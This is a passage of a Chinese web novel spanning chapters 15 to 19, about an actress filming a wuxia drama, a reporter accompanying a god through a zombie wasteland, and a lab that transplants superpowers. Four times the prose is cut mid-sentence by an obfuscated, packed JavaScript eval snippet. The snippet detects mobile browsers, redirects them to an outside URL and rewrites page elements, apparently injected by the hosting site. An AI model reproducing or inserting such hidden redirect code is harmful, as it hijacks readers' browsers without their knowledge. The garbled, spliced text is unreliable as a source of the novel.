追欢真的被她招来了,导演看到追欢没吊威亚就飘进了场内,他震惊到忘记喊咔了。 接着,镜头里的画面就出现了十分不可思议的变化。 原先天真浪漫的场景变得十分不对劲。 追欢出现在镜头中以后,天似乎都暗了下来,地面上的草丛也似乎从清新的春天来到了肃杀的秋季,夏瑜微笑着看了向追欢,对于她这样长相甜美可爱的女孩来说,这本是个十分乖巧的表情,但是,在此时此刻,站在追欢身边,敢于直视追欢的夏瑜,看起来竟然有了几分马仔的模样。 追欢往前走了半步,离镜头更近了一些,也让她的身形看起来更高大了一些,成功地让这个场景看上去更像是□□老大带着马仔来巡山了。 导演不太能接受这种情况,他颤抖着喊出了咔。 这样的效果和他们一开始选人的时候对追欢的期待有很大出入,他们原本只是想要选一个贴合护卫身份的演员,一个护卫应当要有沉稳的眼神,强悍的气质,魁梧的身材。 但是,他们忘记了,□□老大也有沉稳的眼神,强悍的气质,魁梧的身材。 这还怎么拍下去? 洛雨及时地向追欢提出了建议:“可以投资这部电视剧了。” 追欢投资了这部电视剧,导演和编剧一起商量了许久,为了继续拍摄这部电视剧,他们去联系上了小说的作者。 编剧觉得这种情况必须要调整一下剧本,小说作者听了他们的说法,来拍摄现场看了看。 看完以后,小说作者也觉得必须得调整一下剧情。 得修改这部小说的结局。 这是一部古早虐恋文,当年流行的结局是让失去女主的男主独守江山,寂寞空流泪。 现在流行的结局是送这种男主进火葬场。 当年写这部古早虐恋文的小说作者现在已经是知名火葬场太太了,人总是会变的,这位太太看到从前自己写过的文,都不知道自己当年怎么把这些文字写出来的。 “我当年的文笔比现在好多了啊。”太太对此十分感慨。 当年写这部小说的时候,她还是在纸质杂志上连载的,半个月一章,写了很久。 现在人们通常都在网络上看小说了,太太也已经在网络上写了不少文了,太太现在能够每天发表三章新文。 她很干脆利落地把结局改成了火葬场,然后其它的就没什么好改动的了。 小说本身的大的走向没什么好改动的,但是在电视剧的表现上,编剧还有很多要改动的东西。 很多剧情在小说里都可以一笔带过,在电视剧里却必须要全部切实地呈现出来。 经过这一轮修改,女主的护卫的武力值有了大幅的提高,现在,剧组里允许追欢演出一击毙命的动作了。 “本来也是这样才对嘛,女主楚云舒出身于江湖上一流的武林世家啊。”编剧看着改好的剧本,信心满满地和导演讨论。 导演看着演员们丝滑流畅完全不需要再喊“咔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459105|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”的表现,对编剧的话连连点头。 改过以后的踏青剧情里,画风和之前已经完全不同了。 楚云舒叼着叶子躺在草丛里,风吹过,满屏的绿意飘摇起来。 镜头拉远,从屏幕的右上角走来了一个身量高大的白衣人。 身量高大的白衣人后面还跟了一群身量不那么高大的白衣人,他们手里端着各式各样的器具和菜肴,安安静静地来到了楚云舒身边。 楚云舒翻了个身,又接着睡。 鸟雀吱喳着,野兔在草丛里探头探脑,小鹿路过了这片草丛,向他们投来了一个疑惑的眼神。 远处的树影逐渐拉长,楚云舒终于睡醒了,竹雾在她身前单膝下跪:“大小姐,您要先享用一些文鹤斋的点心,还是先去温泉池里放松一会儿?” 楚云舒想了一会儿,歪头看她:“我要一边泡温泉一边吃点心。” “是。” 一个大大的笑容出现在了竹雾眼前,竹雾明白她的想法,她把楚云舒抱上了已经佩戴好了马鞍的骏马。 楚云舒双腿一夹马腹,念了一声“驾”,骑着马朝着温泉的方向奔驰而去。 “咔。” 导演感觉这样的效果也不错。 编剧觉得这样看起来非常符合逻辑。 演完今天上半场的戏,追欢看到群演们聚在一起吃盒饭,她看了看盒饭,再看了一眼身边的保镖,保镖立刻给她买来了一盒安全的盒饭。 追欢尝了一口盒饭。 蔬菜和肉类都炖得很软烂,和家里的饭菜口感有很大差别。 追欢吃了很多,虽然她也知道按照营养师的搭配烹饪的食物更健康,但是,果然,每次吃到外面的食物,她还是会觉得很美味。 吃完这一顿回家又要吃营养师安排的食物了,追欢吃得很认真,虽然是这样,她还是注意到了一名武替脸上异样的神情。 她想了想,走上前问他:“你想吃我的菜吗?” 想吃的话可以让保镖告诉他刚才她都给她打了些什么菜。 那名武替脸色惊慌地摇了摇头,追欢也不再追问,她用远超霸道总裁的速度吃完了这顿饭,准备好了继续拍摄下午的戏。 由于投资的增加,涨了工资的演员们都非常勤恳,追欢下午还多拍了很长时间的戏,洛雨几次看着她欲言又止,最后还是什么都没有说,一直等到她拍完下午的戏,洛雨才告诉了她,微博上又出事了。 追欢打开微博,熟练地点开了热搜界面:“这个世界上真的有这么多人会关注微博上的消息吗?” “微博上说是每天都有这么多人在关注微博上的消息。” 追欢看到了关于她的新热搜。 其中一条是说她又在剧组耍大牌了,另一条是说她的打戏不行。 这些人居然说她的打戏不行。 追欢点进了这个热搜词条,看到有人拍摄下了她的打戏。 追欢承认自己的剑道还有很大的进步空间,但是,除了她自己,没人有资格这么说,如果这不是在演戏,她在视频里的这一剑真的能杀死对方。 她倒要看看评论区都在说些什么。 追欢点开了评论区。 “这叫什么打戏?就把剑往对面脖子上放一下就叫打戏?我上我也行。” “她就不会请个武替吗?这是武侠剧吧,到时候就让我们看这?” “她在剧组里耍大牌不要武替。” “导演真可怜。” “作者才可怜好吧,改编的什么玩意。” 大家都很可怜,都怪追欢耍大牌。 追欢从热搜上读出来的信息是这样的:“大牌究竟是什么东西?” “大牌就是,就是说你咖位很高,知名度很高,在剧组里可以横着走的意思。”洛雨给她解释了一下。 “我的知名度已经很高了?” “是的,由于你的眼神正在被各地刑警使用,你在全球范围里都已经有了一定的知名度。” 追欢点了点头。 16. 第 16 章 这部剧确实改得有些不够武侠了。 原作虽然很虐,但也可以说是真江湖,真武侠,男主经历了不少大篇幅的打斗,女主也被卷入了许多恩怨当中,而现在,在改过以后,由于追欢的实力实在是太强了,所有武替在她手里都走不过一招,展现出的情况就很尴尬。 得放慢速度。 在下一次出剑的时候,追欢放慢了速度。 一名江湖侠客一刀朝她劈了过来,追欢不紧不慢地提剑,缓缓刺出。 导演喊了咔,给追欢看了拍出来的影像的效果。 追欢也意识到了,这样还是不行。 她的动作看起来太简单了,不像江湖侠客那么复杂,她用这么简单的一剑轻轻松松地挥开使用了那样复杂的招式的江湖侠客,看上去就像是对方主动在放水。 她也得使出更为复杂的招式才行。 导演再次开始了拍摄。 这次追欢已经很清楚武侠剧的规矩了,她明白导演想要什么样的效果。 这是一段拍摄于水面上的打戏。 一个拿着悬赏令赶来的江湖侠客吊了威亚,在水面上一步步而来。 追欢悠闲地一步一步从凉亭顶端沿着亭柱走了下来。 江湖侠客拔出了刀,空中传来了铮然的动响,追欢也缓缓拔出了剑,海面映出了碧蓝的剑光。 江湖侠客耍起了刀,劈开大浪千层,追欢也挽起了剑,将千层大浪尽数斩落。 两人过了十几个回合的招式,江湖侠客很快力竭倒地,追欢一剑刺出,血溅白衣。 导演对追欢这次的表现很满意,对她的表情更满意,即使她有一句台词忘了说,这段戏也已经非常完美了。 追欢最后刺出那一剑的时候,看上去是极为厌倦的,先前拔剑的时候,她看上去也是非常慵懒的。 那样盛大的场势,那样华丽的剑舞,对于旁人而言,是毕生所求,对于她而言,不过是随手就可以使出,随时都可以结束的,再寻常不过的东西。 原本这里有一句台词,追欢应当要向对方说一句“真是可笑”,以昭显普通江湖侠客和女主身份的云泥之别。 但是追欢没有说出这句台词,导演看了这段戏,也觉得没有再说这句台词的必要。 不说这句台词,追欢的表现反而更贴合竹雾这个角色。 竹雾本不是为了今日这一战而生的,她原本是江湖上一流世家的大小姐身边的剑,武林一流世家要争的从来只有位高权重者手中的大名大利,武林一流世家的剑也从未想过要杀身着素衣之人。 她的敌手应当是同样成长于世家的死士,亦或是世人皆知的武林高手,也可以是隐居避世的江湖故人,她想要一场旗鼓相当的战斗,她于是让这场战斗看上去旗鼓相当,但终究,就是如此,偌大一个楚家,只剩下了一个大小姐,今时今日,她正在为了大小姐与一介无名之辈相斗相争。 在可见的将来,她还要面对无穷无尽的像这样的小角色。 竹雾不愿多说,不欲深想,草草地搜了他的身,翻找出了几样值钱的东西,带回了大小姐身边。 追欢完美地演绎出了竹雾此刻哀莫大于心死的心理状态,导演好好夸奖了她一番,她脸上依然还是那副哀莫大于心死的神情。 “看来前辈已经完全入戏了啊。”武术指导来到了追欢身边。 追欢神色黯然:“入戏?” “是啊,很少看到前辈露出这样的表情,平时我们在剑馆里看到前辈,前辈总是很开心的。” 追欢根本没有入戏。 她神色恍惚地回头往海面上看了一眼,想起了刚才她为了拍戏使出的剑法。 那是何等糟糕,何等花哨,何等华而不实的剑法啊! 追欢深深地叹了口气,抬起了手,拍了拍武术指导的肩膀,径直去幕后领了盒饭。 距离她结束拍摄正式下线还有很久,但她就是想要领一份盒饭。 保镖跟在她身边劝说:“大小姐,外面的食物营养很不均衡,你要注意身体啊。” 追欢看了看已经在吃盒饭的群演,有些委屈:“大家都在吃,都没有出问题,为什么你不让我吃?” “因为我是保镖啊,保镖的工作内容之一就是不能让大小姐在外面乱吃东西。” 这个理由说服了追欢。 她又叹了一口气,抬起了手,拍了拍保镖的肩膀,掉头去了更衣室。 离开更衣室的时候,她已经换上了一身游泳服装。 她走向海面,心情越来越平静。 果然,还是各式各样的运动,最能缓和人的心情。 她愉快地在大海里蝶泳蛙泳自由泳,完全没有注意从岸上传来的异样眼光。 但是她的保镖注意到了。 保镖注意到了一个拿着手机的人正在惊恐地看着自己的手机,手机的摄像头对准了追欢在粼粼波光下鼓胀的肌肉。 手机被保镖一把夺过,武术指导也注意到了这边的情况,他走过来问保镖发生了什么事情。 保镖看了看手机里的照片,向追欢挥了挥手:“大小姐,可以把你游泳的照片给别人看吗?” 她好像问了一个很无聊的问题,追欢本来就已经出现在这里,所有人都可以看见她本尊了,这张照片显然是可以随便给在场的人看的。 追欢远远地对她比了个“OK”的手势,保镖递出了她刚刚收缴到的手机。 武术指导看到了那张照片:“好厉害的肌肉,不愧是前辈!” 他身旁的演员惊恐地看着他。 “你怎么了?”武术指导诧异地看了他一眼。 演员惊恐地看着他: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459106|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哪有女明星长成这样的?你不觉得一个女明星长成这样太恐怖了吗?” “你怕女明星把你工作抢了?” 他想要解释:“没有,我只是——” 武术指导有些费解:“你不担心男明星把你的工作抢了,你担心女明星把你的工作抢了。” 保镖插了一句嘴:“他根本没有在想自己的工作吧。” 武术指导终于也意识到了对方和自己在想法上的差异,他抬起了手拍了拍这名演员的肩膀:“我觉得吧,做人呢,还是先把自己做好最重要。” 保镖删除了手机里的照片,在下午的拍摄过程里,保镖也一直盯着周围还有没有人在拍照,最终,追欢度过了在网络上无风无雨的一天。 但是,这几天,在拍摄现场里,她经受了很大的风雨。 这几天的拍摄给她带来了太大的压力,每天拍完戏,她就一个猛子扎进海里游泳,最近她又学会了新的游泳姿势,可以在大海上仰头迎着阳光和所有人的视线游泳。 可惜的是导演很快叫停了她的海上游泳活动,为了让她不要在一部剧里变得黑若两人,追欢只好继续在附近的室内游泳馆游泳。 夏瑜也来了室内游泳馆里游泳,有很多演员都来了室内游泳馆游泳。 副导过来找人的时候就觉得很奇怪:“你们怎么都在游泳?” 夏瑜趴在泳池边上:“因为追欢游泳的样子看起来真的很开心,很让人羡慕啊,你不觉得吗?” “啊?开心?” 他从追欢那张脸上完全看不出任何开心的痕迹。 不过现在的追欢气场确实比拍摄中的追欢要柔和多了,拍戏的时候他都不太敢跟在导演旁边看。 夏瑜还在继续说:“我们应该早点跟追欢一起下海游泳的,我还从来没有在海上游过泳,可惜现在导演不让下海游泳了。” 大家就只能呆在室内游泳馆里幻想下海游泳了。 在蓝蓝的天空和蓝蓝的海水的怀抱里,感受海风的吹拂,听着海鸥的鸣叫,海水拍打着沙滩,在海面上抬起头,就能看到岸边的浪花泛着浅浅的荧蓝。 现在,他们只能看到游泳池边开着的各式各样的烧烤店甜品店咖啡店,实在是太缺乏那种氛围了。 追欢上岸点了一盘烤串,习惯性地给走过来的夏瑜递了一串。 夏瑜也习惯性地接过了这串烤串,把手边的已经插好了吸管的椰子递给了追欢。 说起来,她们又回到海边了啊。 夏瑜这才想起,她上次竟然也错过了在大海里游泳的机会。 之前在《海岛冒险记》里,大家都晒黑了不少,不过那是综艺节目,在综艺里要好好出演自己更“真实”的一面,晒黑了也无所谓。 当时就应该使劲游泳的啊,可惜时间好像都被她花在练剑上了。 17. 第 17 章 曾文华看着取景框里的身影,屏住呼吸选中了截取。 这样拍摄看上去比较有神的感觉,大概吧? 曾文华手指僵硬地开始配文。 虽然相对于别的记者来说,她的文字已经足够平实,让人很难产生情绪,但是,毕竟是要创作一些歌颂神明的内容。 而神明…… 她再次抬起头看了一眼取景框里的神明。 神明只是坐在哪里而已。 不知道这到底有什么值得被报道的,但这类报道确实给她带来了入行以来数额最大的一笔稿费,让她买下了这座位于末世的豪宅。 不过实际上也只是领导让她给神明买的更好的取景棚吧…… 神明坐在那里看了一会儿地图,突然站了起来。 她开始走路了。 神明开始走路了。 神明没有起飞直接用脚跑了,这样对吗?可以拍吗? 曾文华放下了手里的工作。 神明跑了一会儿,停了下来,看了一眼地图上的距离。 她跑了两百米,距离目的地还有七十三千米。 曾文华没有问神明为什么不原地起飞,她很自觉地跟神明说了一声“我去开车过来”,然后坐电梯去车库,把车开到了神明面前,开得有点着急,一不小心撞了神明一下。 神明没有受到任何损伤。 她在车停下以后干脆利落地上了车,上到了车顶上。 行车记录仪保留下了这一珍贵片段,等到达目的地以后曾文华相信这段视频中会有不错的图片可以用来配文歌颂神明的强大防御力,这是她所在的报社最乐于报道的题材,相信她又会得到一笔不低的稿费,提高她们的生活质量。 没错,神明也是需要通过花钱来提高生活质量的。 在遇见她之前,她车上这位神明,其实是一分钱也没有的。 现在神明会有钱住末世庄园,她们会拥有这么多值钱的现代物品,都是因为……因为当初曾文华死缠烂打一定要得到这位新神的签名。 这件事说来话长,大概是因为她对神比较虔诚,但实际上穿梭区的大家都相当虔诚,曾文华觉得自己格外不同的地方大约就只有,她是个相当不合格的记者,把很少的时间花在写稿子上,把很多的时间花在调查上,就这一点不同。 所以她成为了第一个发现新神没有钱的记者。 这条消息没有让她赚到钱,还差点让她被全网封杀,报社很快删除了这篇报道,让她重写一篇新的。 在她绞尽脑汁重发了一篇名为《新神李明上任后的三句话》的文章之后,虽然她的职业道德被出卖了,但是报社得救了,她的人生似乎也得救了,新神的生活质量也提高了许多。 真是皆大欢喜啊,曾文华睁着一双死鱼眼无言地开着车。 距离目的地还有一分钟,神明还在车上。 不知道神明现在在车上干什么,曾文华打开遮阳帘看了一眼。 神明在看手机。 就,就和一个普通人一样,普通地在车上看着手机等着车开到目的地……除了坐的地方和普通人稍微有点不一样以外,神明的言行看上去完全就是一个普通人啊,还是一个有点呆的普通人。 到地方了。 目的地是一个废弃的超市,附近有很多丧尸,丧尸大概就是末世里很常见的对普通人攻击性很强的一种动物。 神明从车顶一跃而下。 朝她靠近的丧尸纷纷化作飞灰,周围不再能看见丧尸了。 曾文华也下了车,她戴上了口罩。 超市里的味道很难闻,大概是因为这里有太多腐烂的食物,周边的声音也很嘈杂,有吹扫灰尘的风声,肢体相触的撞击声,还有枪声。 附近有人。 在末世里生存的会是什么样的人呢?普通人吗? 曾文华感到有些不安,她从货架上移开视线,再次将视线投向神明。 那里空空荡荡,原地只留下了一个凹坑。 曾文华往后退了两步,抬头往天花板上看。 天花板上果然已经悄无声息地有了一个大洞。 曾文华撑开伞,一手握成喇叭形状,朝着上方喊话:“神!你还下来吗?” 神明下来了。 灰尘洋洋洒洒落了一地,曾文华又往后退了两步。 出现在凹坑里的是三个人。 除了神明,还有另外两个曾文华不认识的人,大概是末世的本地人,一老一小,和看上去是青年人的神明站在一块儿还挺均衡。 神明开口说话了:“你们来这里做什么?” 老人站在孩子身前,低着头回答:“我们只是来这里找找看有没有可以吃的东西。” 神明回头看向曾文华。 曾文华摇摇头:“这里没有吃的。” 到处都是腐臭味,货架上本来应该放有包装食品的位置都是空的,应该是早就被之前来到过这里的末世人抢光了。 神明没有多说什么,径自离开了。 曾文华愣了一下,停止了录像。 没有拍摄到神明伟大善良的一面,稿费消失了,这段录像没有价值了,说不定还会让她之前辛辛苦苦写稿子得到的领导的赏识也消失掉。 曾文华赶紧开始删减录像。 神明走了一会儿,又回过头:“不跟上吗?” 后方传来了丧尸沙哑的嘶鸣声。 一老一小立刻跟上,曾文华也带上幸好还没删减完的视频跟了上去。 废弃超市是在一家废弃的商场里,没过多久,神明就带着三人离开了超市,来到了楼上的一家美甲店门口。 曾文华依稀能够看出这是一家美甲店。 美甲店左边是一家园艺店,门框和窗户上爬满了藤蔓,右边是,是奶茶店? 奶茶店是很有名气的,据说很多现代人都很喜欢喝奶茶,所以穿梭区的人在第一次尝试伪装成一个现代人的时候,通常都会先去买一杯奶茶,不过这往往会让原主本就稀烂的身体素质雪上加霜。 曾文华没做过快穿任务,还是头一次亲眼看见奶茶店,她走到柜台后看了看。 台面上看着全是灰啊。 老人也跟着走了进去,翻起了柜台。 柜台里有一些饮品,老人打开闻了闻,给了小孩一小盒,自己也拿了一小盒吃。 两个人吃得好像挺开心的,老人开始讲现代的故事,关于这家奶茶店的,听起来这家奶茶店好像是很厉害的奶茶店,很多地方都有,这里这一家是当地人期待了很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459107|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久才开的。 “宣传那么好的奶茶原来也是加奶精的,我们当时很多人都说奶茶店里加了奶精,那些年轻人都不信。” “奶精是很不好的东西吗?”小孩抿了抿嘴巴里的饮料。 “这个嘛……” 老人没有再说下去了。 神明在一旁无声无息地推开了园艺店的大门。 里面全是黑压压的藤蔓,藤蔓看上去完好无损,不知道她怎么推开的,不过不知道最好,神明就是要有能够做出这么让人不知道怎么回事的事情的能力,这样曾文华才好写稿子。 门被推开以后,里面的藤蔓就涌了出来,朝着四方铺开。 它在铺开的过程里绕过了神和人,是很礼貌的藤蔓。 就是铺的时间有点长。 曾文华开始感觉有点不对。 藤蔓铺满四面以后,就朝着中间的人涌过来了。 神在往前走,没有回头,曾文华赶紧跟上,跑了一会儿,她忍不住往后看了一眼。 老人和小孩还在呢,不等一下真的好吗? 她回头就看见藤蔓乖顺地依偎在小孩身边。 老人也给了藤蔓一份饮品,藤蔓似乎很感激,把老人和小孩送出了丧尸聚集的商场。 曾文华愣了一下。 这条藤蔓还真是条好藤蔓啊,竟然做了原本应该由神明来做的事情。 她凑近神明问:“神,你怎么知道这条藤蔓不会伤人的?” “它会伤人。” “可是,我刚刚明明看到,”曾文华又回头看了一眼,确定两个人都是被藤蔓全须全尾轻轻放置在了没有丧尸的位置:“它救了——” 呯呯—— 天花板被打破了,声音很大。 这么大的声音当然不是神明干的,显然是藤蔓干的。 头顶上传来了惨叫声,曾文华觉得有点尴尬,他们不该在她刚刚说出这种话的时候发出惨叫声的。 但是这么想好像会显得她有点没良心,她礼貌朝上方问了一句:“那个,有人需要帮助吗?” 声音好像有点小,比藤蔓的动静小多了。 没人理她,楼上传来的只有惨叫声,曾文华于是只在心里为他们祈祷。 她其实也没有真的要去救人的打算,神明不理会一定有神明的道理。 神明还在逛商场。 除了美甲店,附近还有很多服装店,现代人的衣服和她们身上的很不一样,看起来都很简单朴素,曾文华没有想换衣服的打算。 神明开始选衣服了。 现在是冬季,通常现代人类在冬季都会穿上羽绒服御寒,神不需要使用羽绒服御寒,但是神明正在挑选羽绒服。 羽绒服之间的差别看起来很小,除了长短色彩以外看着都大差不大的,神明拿出了玉简开始查询怎样在现代挑选羽绒服,查到了一些和充绒量,充绒种类,绒子含量有关的东西。 神明买到了,不对,是拿到了一件可以让人类在冬季御寒的羽绒服。 难道是给她挑选的吗?曾文华有些感动,但是她觉得她身上的料子比现代人身上的好多了,纹样也是她自己挑了很久的,而且还有很好的防御和按摩功能,她真的不需要羽绒服,她开始思考要怎样拒绝一个神明。 18. 第 18 章 研究院每天都有会议要召开。 从前是没有这么多会要开的,但是最近大家越来越喜欢聚在一起开会拖时间了。 前段时间,研究院里研究出了异能剥离和植入的技术,让一个普通人拥有了异能,这对基地里的许多没有异能的有钱人来说是个重大的好消息。 但是,对于异能者来说,这个消息是相当糟糕的。 那段时间,研究院遭遇了很多次袭击,在这样的高压之下,研究院冒着风险又完成了把不同的异能植入到异能者身上,人造双系异能者的实验,来自异能者的袭击少了很多,但获得的资金投入也变少了。 研究院开了很多个大会进行沉痛反思,反思出了资金变少的原因。 知道研究院能够控制住异能者进行人体实验,谁还想做异能者? 报名想要加入研究院的人倒是多了很多,可是,其实,这些实验都是在基地高层的许可下才能进行的,并不是只要有了技术谁想做就能做。 进来的新人没能成为想象中的人上人,都很内耗,老人也都在为经费焦虑,会议开了又开,申请提了又提,研究院终于又得到了进行第三次相关实验的机会。 这次是要剥离隐身异能,植入到一位货真价实的人上人身上。 又到了能让某位科研人员扬名立万的时候,人们争先恐后地报名要参与这场实验,迅速地选出了一位负责人。 负责人出发到达实验室了,负责人开始检查实验器材了,负责人开始检查最重要的,隐身异能的拥有者宋明珍了。 宋明珍看起来体力很好,精神不错,负责人满意地点点头,科研人员们开始进行下一步操作。 要先找到异能感染的位置,隐身异能的话,应该全身都感染了吧。 科研人员找来找去,只找到了一处受到感染的地方。 在眼睛的位置。 科研人员瞪大了眼睛。 隐身异能难道是把自己的眼睛遮起来自己看不见就叫隐身异能了吗? 负责人离开了实验室,开始开会。 科研院又一次遭遇了实验室无法解决的问题。 科研人员们试图揣摩人上人只给了鱼眼睛却要求科研院产出珍珠的用意,最后得出了没有办法只有如实上报的结论。 负责人战战兢兢地把结果递到了人上人手里。 李乘心也只好接受这个结果,是她自己抓错了人。 监察所所长不太能接受这个结果。 “不可能,明明是一模一样的,他就是宋明珍,你们看这张照片,完全没有任何不同。” 监察所所长把照片扔到了刘唐身侧,卡在了地面上。 立起来的照片让前方的所有人都能看得很清楚,刘唐确实是长得和照片里的人一模一样。 “我真的不是宋明珍!”刘唐还在激烈挣扎:“我是一个检验站的站长,检验站是属于监察所的啊!你们当中一个见过我的人都没有吗?” 人们纷纷偏过头,不去看他。 刘唐现在的样子,有点不太好看。 为了照顾大家的情绪,他身上是有一件能遮盖身体的衣服的,但是,由于身处末世,大家都不算宽裕,给他的衣服也就比较随意。 是一件黑色长袍,很宽松,上面还有很多洞眼,刘唐乱动挣扎的时候会露出他的腿毛,没有人想要看到他的腿毛。 李乘心还是认真看了,确实是一模一样。 所以,到底是哪个环节出了岔子? 她之前是有看到过另一张照片的,那时候的宋明珍确实和现在这张照片长得不太一样。 由于隐身异能十分罕见,她只以为是也许隐身异能可以做到更换外貌,现在看来,事情恐怕没那么简单。 如果要继续按照之前那张照片去寻找宋明珍……在前不久,田诚就已经上报了会捉到那一个宋明珍的消息,最后却铩羽而归,还损失了队伍里的一名双系异能者。 宋明珍比她想象的要强,没那么容易抓住。 不,不止,能正面对上一支等级不低的异能者小队,还能在杀掉一名双系异能者之后全身而退,不止是不能抓,宋明珍已经强大到需要她去正视,去拉拢的地步了。 她暂时无法接触到宋明珍,更不用谈拉拢,在当下,还是不要再继续得罪她为好。 李乘心上前一步,把刘唐踩在脚下,中止了他的挣扎:“其实,我觉得透视异能也不错。” “啊?透视异能怎么会不错?”监察所所长有些摸不着头脑:“虽然我觉得他就是宋明珍,但确实还是隐身异能要更重要一些。” 无论什么异能,搭配上隐身,都会变得非常厉害啊。 透视就很一般了,透视能干什么?透视就只能检查检查检查…… 监察所所长的眼神瞬间变得清明:“透视异能是很不错啊。” 李乘心点了点头:“就他吧,我不需要宋明珍了。” 监察所所长连连摇头:“不,等等,我的意思是,透视异能对于我们来说或许要更不错一点。” 对于每天都能经手大量的货物和人的监察所来说,透视异能简直就是神技,只要有了这个,没有任何值钱的东西能逃过监察所的眼睛。 如果只有透视异能,没有能够战斗的异能,发现得了问题也没机会说出来,这样的异能者是没什么用,但是,研究院不是已经可以叠加异能了吗? 李乘心明白了他的意思,透视异能在所长手里确实比在她手里有用得多。 但是,就这样把刘唐拱手让人,她也难免会觉得,之前拨给研究院的投资都白费了。 可是,她也需要靠监察所去检查委托的完成情况,监察所能有所成长,对她来说也是好事一桩。 李乘心犹豫片刻,还是抬起了腿:“好吧,他对你来说要更重要。” 刘唐又动不了了。 李乘心的异能是金属化,一脚下去沉得要命,所长担心他快死了,急急忙忙地向李乘心道别,抱着刘唐冲向研究院。 真到了研究院,看着里面冰冷的仪器,闻着通道里的消毒水味,监察所所长又迟疑了。 剥离异能这种技术,听上去有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17459108|201263||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点太超现实了,现在距离末世到来那一天也就不到一年。 不管怎么说,一年前,这个世界上连器官移植都很容易出现排异状况很容易死人,一年后,进入了末世没过多久就能剥离异能无痛移植,说是不会有任何副作用,所长不太信。 他放下了刘唐,离开了研究院,决定去找一个人。 一个可以利用的人。 像这样的人,在基地里有成百上千。 所长来到了一处检验站。 他还记得当初那个年轻人看向他时的眼神,尊敬,崇拜,如同狂信徒一样虔诚。 关键在于,那个年轻人在基地里没有认识的人。 他推开了门,看见了那个年轻人。 虽然那个年轻人看起来好像变了很多,但是所长还是认出来了,这就是那个年轻人。 她身上挂着的001号工牌很难让人认错。 也许是因为经历了一些历练,变得稳重起来了吧。 “好久不见,小余,”所长来到了她身边,神情沉重地拍了拍她的肩膀:“所里现在有一个地方,特别需要像你这样的人才。” 小余笑眯眯地回头看他:“什么地方?” 态度友好亲切,果然是小余。 所长兴奋地给她画饼:“我们想要请你去做鉴定师!每月给你一万贡献点,你对这个职位感兴趣吗?” “哇。” 李明对基地内的物价已经略略有些了解了,能明白一个月一万贡献点是很高的月薪。 所长接着说:“但是在加入之前,因为你是没有相关的异能的,所以我们决定给你通过手术植入一个异能,这个手术是有一定的风险的,你看你能接受吗?” 植入异能对李明来说没有风险,身体不是她的。 对她来说,更大的问题在于:“一个月要上多少天班?” 在检验站,她路过的时候进来看看就可以了,没什么事做,贡献点虽然给得不太多,但也不少,足够她每天吃鸡蛋灌饼。 如果鉴定师这份工作要日日当值,按照这个世界的说法,也就是要天天上班,靠消磨生命换贡献点,那就算了。 所长从这个问题中感受到了她确实经历过了许多历练,好在他有一个很拿得出手的答案:“能称得上贵重的东西,一个月内通常很难出现两次,你一个月最多上两天班。” 这样听起来,这份工作实在很不错,既可以赚到贡献点,又不用天天上班,还可以偶尔见见世面,了解这个世界的贵重物品,简直就像是一块大馅饼砸到了她头上。 李明决定去看看。 所长亲自带着她来到了研究院:“我在门口等着,遇到问题就叫我。” 李明不知道他的名字,也没问他的名字。 已经有人比她更快地叫出了他的名字。 “傅文你不要脸!人前一套人后一套!老不死怎么还不去死!你个祸害——”他抬起头,看见了进门的李明。 李明也看见了刘唐。 “好久不见。”李明朝他点了点头,算是打了招呼。 19. 第 19 章 检验站里的检验员最近都安静了许多。 没有人想到,成天说自己认识所长的人和所长根本不熟,反而是一个原本看上去谁也不认识的家伙竟然能婉拒所长递来的烟。 而且她还是一位木系异能者,元素系异能都有攻击能力,在二号基地,有攻击能力的异能地位远高于只有辅助能力的异能者。 以前余晓还老说所长很看重他的透视异能。 果然,人越缺什么就越爱秀什么。 熟悉的人出现在了检验站前,检验员们更安静了。 叶璇来收拾行李。 主要是一些水果罐头,在基地里呆了一段时间以后,她发现水果罐头还挺好吃的,尤其是黄桃罐头。 她不是一个人来的,她有钱了,可以让很多个人一起过来帮她搬运水果罐头。 她甚至不需要自己来,对哦,她不需要自己来。 叶璇回去了。 